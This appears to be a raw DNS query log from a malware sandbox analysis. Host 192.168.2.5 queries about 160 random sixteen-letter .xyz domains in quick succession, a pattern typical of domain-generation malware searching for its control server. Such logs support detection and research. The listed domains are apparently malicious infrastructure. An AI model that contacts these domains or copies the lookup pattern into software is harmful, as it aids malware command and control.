Dec 12, 2024 12:10:21.846229076 CET	192.168.2.5	1.1.1.1	0x2e7c	Standard query (0)	gcwequgwyimwymsa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:22.161165953 CET	192.168.2.5	1.1.1.1	0x52bc	Standard query (0)	igywsgwooemqiuss.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:22.387434006 CET	192.168.2.5	1.1.1.1	0x1d87	Standard query (0)	wikiagqsmeeaeegy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:22.743951082 CET	192.168.2.5	1.1.1.1	0x1513	Standard query (0)	eeoeukoqgiwsumsu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:22.983467102 CET	192.168.2.5	1.1.1.1	0x8b67	Standard query (0)	ygooiessycewaocg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:23.210357904 CET	192.168.2.5	1.1.1.1	0xedd	Standard query (0)	qcqgssmagywqcgws.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:23.436860085 CET	192.168.2.5	1.1.1.1	0x5633	Standard query (0)	goiikukwyyauemqc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:23.660245895 CET	192.168.2.5	1.1.1.1	0x7576	Standard query (0)	comuwmkimocayeeu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:23.885921001 CET	192.168.2.5	1.1.1.1	0x98c0	Standard query (0)	isgasoomksiwqcmg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:24.112664938 CET	192.168.2.5	1.1.1.1	0xa24d	Standard query (0)	qigismmgwsiseyuu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:24.338823080 CET	192.168.2.5	1.1.1.1	0x3c9a	Standard query (0)	wuqggcwmoscwykwg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:24.561305046 CET	192.168.2.5	1.1.1.1	0xe514	Standard query (0)	qceawaaswmsuekmu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:24.879262924 CET	192.168.2.5	1.1.1.1	0xac5b	Standard query (0)	ygucsucmagwqsqcu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:25.099920034 CET	192.168.2.5	1.1.1.1	0x1026	Standard query (0)	giuccqyqokookyue.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:25.415591002 CET	192.168.2.5	1.1.1.1	0xe8b8	Standard query (0)	gceesusqmuockkgw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:25.641695023 CET	192.168.2.5	1.1.1.1	0x2bb	Standard query (0)	ygesoycecmkuwayg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:25.956634998 CET	192.168.2.5	1.1.1.1	0x2ef9	Standard query (0)	sasqgsyksiccuuws.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:26.275507927 CET	192.168.2.5	1.1.1.1	0xa30e	Standard query (0)	qwggykgwkqoceiuo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:26.494661093 CET	192.168.2.5	1.1.1.1	0xd4de	Standard query (0)	wiguisuayimaukgu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:26.718982935 CET	192.168.2.5	1.1.1.1	0x568	Standard query (0)	qcwcgegyyieaoqca.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:26.938445091 CET	192.168.2.5	1.1.1.1	0xcfa3	Standard query (0)	gwcyyawigmwceaqi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:27.160343885 CET	192.168.2.5	1.1.1.1	0x511a	Standard query (0)	mueuwcqsioowsmce.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:27.386435032 CET	192.168.2.5	1.1.1.1	0x23be	Standard query (0)	qiewcykmuuacuoyk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:27.604708910 CET	192.168.2.5	1.1.1.1	0x7a2f	Standard query (0)	coayaokeissieqcc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:27.826973915 CET	192.168.2.5	1.1.1.1	0x8aa6	Standard query (0)	oeooiqokqsqcsaig.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:28.052577972 CET	192.168.2.5	1.1.1.1	0x1fba	Standard query (0)	masegmsiqgamiugm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:28.278029919 CET	192.168.2.5	1.1.1.1	0x34db	Standard query (0)	smwywssyyaciqkae.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:28.510946989 CET	192.168.2.5	1.1.1.1	0x3a3a	Standard query (0)	aweqoooqomueeiwi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:28.740204096 CET	192.168.2.5	1.1.1.1	0xe83e	Standard query (0)	akasikewaomyiwqk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:28.969435930 CET	192.168.2.5	1.1.1.1	0x2ffa	Standard query (0)	oyyamqygcecqocmq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:29.199500084 CET	192.168.2.5	1.1.1.1	0x174	Standard query (0)	qwikoqqgiayyuakq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:29.512923002 CET	192.168.2.5	1.1.1.1	0xa579	Standard query (0)	miqcugomwgmygyoq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:29.822594881 CET	192.168.2.5	1.1.1.1	0x6b6e	Standard query (0)	wiccyamsgmuqoeoy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:30.046190023 CET	192.168.2.5	1.1.1.1	0xa0ec	Standard query (0)	ymeiqyyqqyaaygie.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:30.271995068 CET	192.168.2.5	1.1.1.1	0x8918	Standard query (0)	wiomcwmascsigags.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:30.494107962 CET	192.168.2.5	1.1.1.1	0xa8d7	Standard query (0)	awgyuqqswicwkqcs.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:30.712632895 CET	192.168.2.5	1.1.1.1	0xac68	Standard query (0)	iacisiamimiiqyeo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:31.034228086 CET	192.168.2.5	1.1.1.1	0xb02	Standard query (0)	wogawoqysgiockwa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:31.350652933 CET	192.168.2.5	1.1.1.1	0xa041	Standard query (0)	mayykkuyeuiggyws.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:31.571172953 CET	192.168.2.5	1.1.1.1	0xbd0e	Standard query (0)	cosaygigqegeyewi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:31.791826010 CET	192.168.2.5	1.1.1.1	0x5b94	Standard query (0)	ekqyosgcumkcecmo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:32.094887972 CET	192.168.2.5	1.1.1.1	0x593c	Standard query (0)	qimmkmaumumswocw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:32.359117985 CET	192.168.2.5	1.1.1.1	0xe3b	Standard query (0)	acqaagqgmsmeouce.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:32.579643011 CET	192.168.2.5	1.1.1.1	0xa4f6	Standard query (0)	awasockiaymagmci.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:32.895181894 CET	192.168.2.5	1.1.1.1	0xddf9	Standard query (0)	akuyqkmomwqyiyow.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:33.123332977 CET	192.168.2.5	1.1.1.1	0xeb37	Standard query (0)	caceukeeygaaqaec.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:33.344964027 CET	192.168.2.5	1.1.1.1	0xa1de	Standard query (0)	qwcaikouwwekssco.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:33.564879894 CET	192.168.2.5	1.1.1.1	0x4a63	Standard query (0)	qqioykeogcwkowgq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:33.884674072 CET	192.168.2.5	1.1.1.1	0xb021	Standard query (0)	igeqissugeuswaus.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:34.111524105 CET	192.168.2.5	1.1.1.1	0x9a8f	Standard query (0)	osoawyeyassgycgy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:34.334894896 CET	192.168.2.5	1.1.1.1	0xfd61	Standard query (0)	cuaumuqcoeegomsq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:34.557605028 CET	192.168.2.5	1.1.1.1	0x243c	Standard query (0)	oyogquqkmyqwwkuq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:34.781985044 CET	192.168.2.5	1.1.1.1	0xc3bf	Standard query (0)	gwyougsgeaaoiumg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:35.000906944 CET	192.168.2.5	1.1.1.1	0x270	Standard query (0)	ukeoemaaimqyuais.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:35.222412109 CET	192.168.2.5	1.1.1.1	0x2891	Standard query (0)	oewuwcsmaacckewa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:35.441649914 CET	192.168.2.5	1.1.1.1	0x5305	Standard query (0)	esykokiigsgwcwsa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:35.662586927 CET	192.168.2.5	1.1.1.1	0x3d5f	Standard query (0)	ekgqymkkqiwogqsy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:35.889436007 CET	192.168.2.5	1.1.1.1	0x642e	Standard query (0)	wueossewygqoakoq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:36.209156990 CET	192.168.2.5	1.1.1.1	0x6d0f	Standard query (0)	isceiesauogasmoo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:36.433712006 CET	192.168.2.5	1.1.1.1	0x3c6b	Standard query (0)	giscmywoiaqmqcmw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:36.749989033 CET	192.168.2.5	1.1.1.1	0xd65d	Standard query (0)	uyqweoyukcewugsu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:36.969978094 CET	192.168.2.5	1.1.1.1	0x3904	Standard query (0)	imuscegymggagewg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:37.194617033 CET	192.168.2.5	1.1.1.1	0xe8ef	Standard query (0)	wgesgakysuqaewik.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:37.417148113 CET	192.168.2.5	1.1.1.1	0x451f	Standard query (0)	uwoyyqgiwowysqou.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:37.787015915 CET	192.168.2.5	1.1.1.1	0xd3bc	Standard query (0)	syaouwwyoaemeekm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:38.012686968 CET	192.168.2.5	1.1.1.1	0xa775	Standard query (0)	aoscugususamokuy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:38.238410950 CET	192.168.2.5	1.1.1.1	0xda0	Standard query (0)	qucyaygweeasqeoy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:38.466710091 CET	192.168.2.5	1.1.1.1	0xc58	Standard query (0)	uiwwamyuymycooey.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:38.695410013 CET	192.168.2.5	1.1.1.1	0x8bfb	Standard query (0)	iygukwyuqwiuoqmi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:39.006287098 CET	192.168.2.5	1.1.1.1	0x1b3e	Standard query (0)	koaeaguekwcaousw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:39.234004974 CET	192.168.2.5	1.1.1.1	0x7ebc	Standard query (0)	skssioqkemoiieaa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:39.455249071 CET	192.168.2.5	1.1.1.1	0x3e28	Standard query (0)	yewomygmueegmoqi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:39.677242041 CET	192.168.2.5	1.1.1.1	0x2cc5	Standard query (0)	kuyoukwwacqkcoyo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:39.907968998 CET	192.168.2.5	1.1.1.1	0x285a	Standard query (0)	gmcqgmkyguwkskyg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:40.130714893 CET	192.168.2.5	1.1.1.1	0x1e9d	Standard query (0)	mygiqcqokowwmgqq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:40.443080902 CET	192.168.2.5	1.1.1.1	0x5a7b	Standard query (0)	cymogqmasaiiwmww.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:40.662991047 CET	192.168.2.5	1.1.1.1	0x7f2e	Standard query (0)	iykumkamcykgicyi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:40.895904064 CET	192.168.2.5	1.1.1.1	0x3c3c	Standard query (0)	cyemcqwkasuimkgs.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:41.124912024 CET	192.168.2.5	1.1.1.1	0x59a1	Standard query (0)	ieqeeiggkuqcomyo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:41.359302998 CET	192.168.2.5	1.1.1.1	0xc878	Standard query (0)	ssmkyomikukusksu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:41.592257023 CET	192.168.2.5	1.1.1.1	0x894e	Standard query (0)	kimakioiwmawksiw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:41.815212965 CET	192.168.2.5	1.1.1.1	0x659	Standard query (0)	qumssmeysccykkyo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:42.041383028 CET	192.168.2.5	1.1.1.1	0xbcf3	Standard query (0)	ykuoaucocogcwoky.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:42.353317976 CET	192.168.2.5	1.1.1.1	0x8303	Standard query (0)	semyssioekmosauo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:42.584249020 CET	192.168.2.5	1.1.1.1	0x69cf	Standard query (0)	aiiqyyikowqaygwy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:42.896408081 CET	192.168.2.5	1.1.1.1	0x89a4	Standard query (0)	kouumoyqiuckkcau.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:43.118248940 CET	192.168.2.5	1.1.1.1	0xc84d	Standard query (0)	qgwkkkyicoqmooqu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:43.344528913 CET	192.168.2.5	1.1.1.1	0xbba1	Standard query (0)	uwwcocucusmeguaw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:43.655715942 CET	192.168.2.5	1.1.1.1	0xa3fb	Standard query (0)	cekggiciueyeyoku.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:43.877800941 CET	192.168.2.5	1.1.1.1	0xda42	Standard query (0)	iqqeoamqwiuiyuua.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:44.197153091 CET	192.168.2.5	1.1.1.1	0x88a3	Standard query (0)	uokqmokseqqakiui.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:44.515393972 CET	192.168.2.5	1.1.1.1	0xcf6d	Standard query (0)	cyqqgacqkowwkqqe.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:44.735708952 CET	192.168.2.5	1.1.1.1	0xbb7b	Standard query (0)	cmqqeimyycgqwsgg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:44.960127115 CET	192.168.2.5	1.1.1.1	0xc083	Standard query (0)	wmgeoqqiwqcmimwu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:45.181256056 CET	192.168.2.5	1.1.1.1	0x5083	Standard query (0)	quyckaioggawuois.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:45.406796932 CET	192.168.2.5	1.1.1.1	0xcc38	Standard query (0)	eqciawooemoueyqu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:45.723331928 CET	192.168.2.5	1.1.1.1	0x7a9f	Standard query (0)	oqoaumkywacmuwwm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:45.951385975 CET	192.168.2.5	1.1.1.1	0xbdbe	Standard query (0)	ewueyekksqksycww.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:46.177855015 CET	192.168.2.5	1.1.1.1	0x9d5	Standard query (0)	csmasucykosuwouy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:46.397907972 CET	192.168.2.5	1.1.1.1	0x6086	Standard query (0)	seeogeqwsqmsoaqe.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:46.619733095 CET	192.168.2.5	1.1.1.1	0xcad7	Standard query (0)	gusmkkaiomeeqaiy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:46.845788002 CET	192.168.2.5	1.1.1.1	0x42c9	Standard query (0)	msyecoiqeyqeiquy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:47.159327030 CET	192.168.2.5	1.1.1.1	0x5d58	Standard query (0)	skawoueawceoywsy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:47.387134075 CET	192.168.2.5	1.1.1.1	0x8d3d	Standard query (0)	iyuaqococuqcsgii.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:47.732247114 CET	192.168.2.5	1.1.1.1	0xece3	Standard query (0)	kuyaasckcgacyesi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:47.956784010 CET	192.168.2.5	1.1.1.1	0x586d	Standard query (0)	aaeqiiecqqumcgky.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:48.271387100 CET	192.168.2.5	1.1.1.1	0x88c2	Standard query (0)	aawiysageawcoyok.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:48.491430998 CET	192.168.2.5	1.1.1.1	0x2848	Standard query (0)	yqysoaosqewciiww.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:48.717730999 CET	192.168.2.5	1.1.1.1	0x5a96	Standard query (0)	yessywkwcwmyewqe.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:48.940458059 CET	192.168.2.5	1.1.1.1	0x9e3f	Standard query (0)	aueiqscgeicewaoo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:49.161539078 CET	192.168.2.5	1.1.1.1	0x99c8	Standard query (0)	uccsgcekiwcyucou.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:49.391683102 CET	192.168.2.5	1.1.1.1	0xd278	Standard query (0)	aiumyocycyyikiwc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:49.613501072 CET	192.168.2.5	1.1.1.1	0xc801	Standard query (0)	aoqayemwgmsyuimi.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:49.926712036 CET	192.168.2.5	1.1.1.1	0x3f06	Standard query (0)	mmiowgeswucumqae.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:50.146080971 CET	192.168.2.5	1.1.1.1	0x5361	Standard query (0)	mmiugosumuqmuqoc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:50.376705885 CET	192.168.2.5	1.1.1.1	0xb64d	Standard query (0)	ecqisawmymscauow.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:50.632874012 CET	192.168.2.5	1.1.1.1	0xde8c	Standard query (0)	iyoqqeicqoquiqka.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:50.951375961 CET	192.168.2.5	1.1.1.1	0xb997	Standard query (0)	ecoqwiswmwqokmay.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:51.177165031 CET	192.168.2.5	1.1.1.1	0x1a16	Standard query (0)	ceckmwoyqkwgeoqg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:51.491966009 CET	192.168.2.5	1.1.1.1	0xaf67	Standard query (0)	kcoiygiwuyqyaoku.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:51.718609095 CET	192.168.2.5	1.1.1.1	0x5e71	Standard query (0)	aaeyckqsgmiqsgew.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:51.941452026 CET	192.168.2.5	1.1.1.1	0xc571	Standard query (0)	qgaiosyouwwkgsmm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:52.159615040 CET	192.168.2.5	1.1.1.1	0x1e25	Standard query (0)	ocqseueommkkqcgs.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:52.380342960 CET	192.168.2.5	1.1.1.1	0x3e9e	Standard query (0)	owmesaosmycoeceq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:52.604674101 CET	192.168.2.5	1.1.1.1	0x55d	Standard query (0)	qokauaicweuwscac.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:52.823965073 CET	192.168.2.5	1.1.1.1	0x5299	Standard query (0)	sewmmwqeyauowwwo.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:53.043768883 CET	192.168.2.5	1.1.1.1	0x5828	Standard query (0)	mmgowiccqoeomagq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:53.271958113 CET	192.168.2.5	1.1.1.1	0x3da1	Standard query (0)	kcwiywyygywkkysk.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:53.587570906 CET	192.168.2.5	1.1.1.1	0xfd95	Standard query (0)	syiysgiqgqggqkoc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:53.906285048 CET	192.168.2.5	1.1.1.1	0x1ed1	Standard query (0)	ykuasckuceswseig.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:54.128495932 CET	192.168.2.5	1.1.1.1	0xd1ea	Standard query (0)	quugmiumsieaiyys.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:54.355246067 CET	192.168.2.5	1.1.1.1	0xd119	Standard query (0)	ikqywgcqaggogqsa.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:54.668924093 CET	192.168.2.5	1.1.1.1	0x9448	Standard query (0)	eqyamamqwsseyoig.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:54.988351107 CET	192.168.2.5	1.1.1.1	0x1236	Standard query (0)	seqkawokggwucsui.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:55.213234901 CET	192.168.2.5	1.1.1.1	0xd1c6	Standard query (0)	gmqeqkcqackwkgao.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:55.526381016 CET	192.168.2.5	1.1.1.1	0x6c21	Standard query (0)	guowewgekuoqacyy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:55.749824047 CET	192.168.2.5	1.1.1.1	0x378	Standard query (0)	aaokyscqeecowaci.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:56.059926987 CET	192.168.2.5	1.1.1.1	0x4e39	Standard query (0)	ywywwwgwekicgico.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:56.281812906 CET	192.168.2.5	1.1.1.1	0x5f80	Standard query (0)	wsisaoaauqwmuomg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:56.507417917 CET	192.168.2.5	1.1.1.1	0x67ad	Standard query (0)	koouumcuucaeakye.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:56.725765944 CET	192.168.2.5	1.1.1.1	0xc17e	Standard query (0)	okccisioeycusekg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:56.947415113 CET	192.168.2.5	1.1.1.1	0x6a92	Standard query (0)	cymymsciyaiacwgw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:57.173804045 CET	192.168.2.5	1.1.1.1	0x331e	Standard query (0)	aoyeoimcuuqakckw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:57.392384052 CET	192.168.2.5	1.1.1.1	0x2703	Standard query (0)	qoaweokuqggaymks.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:57.617700100 CET	192.168.2.5	1.1.1.1	0x2abd	Standard query (0)	ewuyacewswkoueqw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:57.837451935 CET	192.168.2.5	1.1.1.1	0x7946	Standard query (0)	kiuymkmaomciimcc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:58.066339970 CET	192.168.2.5	1.1.1.1	0x3cde	Standard query (0)	oqaiyaoqwyeswaiy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:58.382255077 CET	192.168.2.5	1.1.1.1	0xc22e	Standard query (0)	koyokggaqsagggym.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:58.603569984 CET	192.168.2.5	1.1.1.1	0xf755	Standard query (0)	cmsuagygagqceocm.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:58.865083933 CET	192.168.2.5	1.1.1.1	0x6343	Standard query (0)	uisgoqaoksgqsqyg.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:59.088548899 CET	192.168.2.5	1.1.1.1	0x7f4e	Standard query (0)	ocgcqsagaakgkcma.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:59.310241938 CET	192.168.2.5	1.1.1.1	0xfbe2	Standard query (0)	okgigkmiieweagia.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:59.529656887 CET	192.168.2.5	1.1.1.1	0x36a3	Standard query (0)	skiwkmaaeeiqqgee.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:59.756520033 CET	192.168.2.5	1.1.1.1	0xfc6e	Standard query (0)	aagokgyaswscyaeu.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:00.072261095 CET	192.168.2.5	1.1.1.1	0xb738	Standard query (0)	gmciuwiycsqycggy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:00.298113108 CET	192.168.2.5	1.1.1.1	0xbc87	Standard query (0)	ggeymcaisciikucq.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:00.519897938 CET	192.168.2.5	1.1.1.1	0x648a	Standard query (0)	uwskygguegqkasme.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:00.744190931 CET	192.168.2.5	1.1.1.1	0x51f2	Standard query (0)	cyumiiokkswcoeag.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:00.964195967 CET	192.168.2.5	1.1.1.1	0x2fef	Standard query (0)	oqisqmesaeoegmyc.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:01.200143099 CET	192.168.2.5	1.1.1.1	0x7e0e	Standard query (0)	wagasowawsoyycom.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:01.428193092 CET	192.168.2.5	1.1.1.1	0x2ed7	Standard query (0)	gaguweiwsgouugqe.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:01.663064003 CET	192.168.2.5	1.1.1.1	0x98c1	Standard query (0)	syyyweaywowycsia.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:01.889086008 CET	192.168.2.5	1.1.1.1	0x5c0c	Standard query (0)	mmoycwqiuykiusuy.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:02.113959074 CET	192.168.2.5	1.1.1.1	0x9952	Standard query (0)	ikoycakqiuuascco.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:02.440393925 CET	192.168.2.5	1.1.1.1	0x7d7d	Standard query (0)	cmuqekokuyuqgige.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:02.667361021 CET	192.168.2.5	1.1.1.1	0x4570	Standard query (0)	cywoimwmsoamqoem.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:02.903078079 CET	192.168.2.5	1.1.1.1	0x863e	Standard query (0)	skyiqyaeoykwcgiw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:03.126251936 CET	192.168.2.5	1.1.1.1	0x40ae	Standard query (0)	ssiooaeoaocuyaow.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:03.347290039 CET	192.168.2.5	1.1.1.1	0x653e	Standard query (0)	ywmgykycywqqewqw.xyz	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:11:03.568274975 CET	192.168.2.5	1.1.1.1	0x5d61	Standard query (0)	uosaescwmkiyscay.xyz	A (IP address)	IN (0x0001)	false
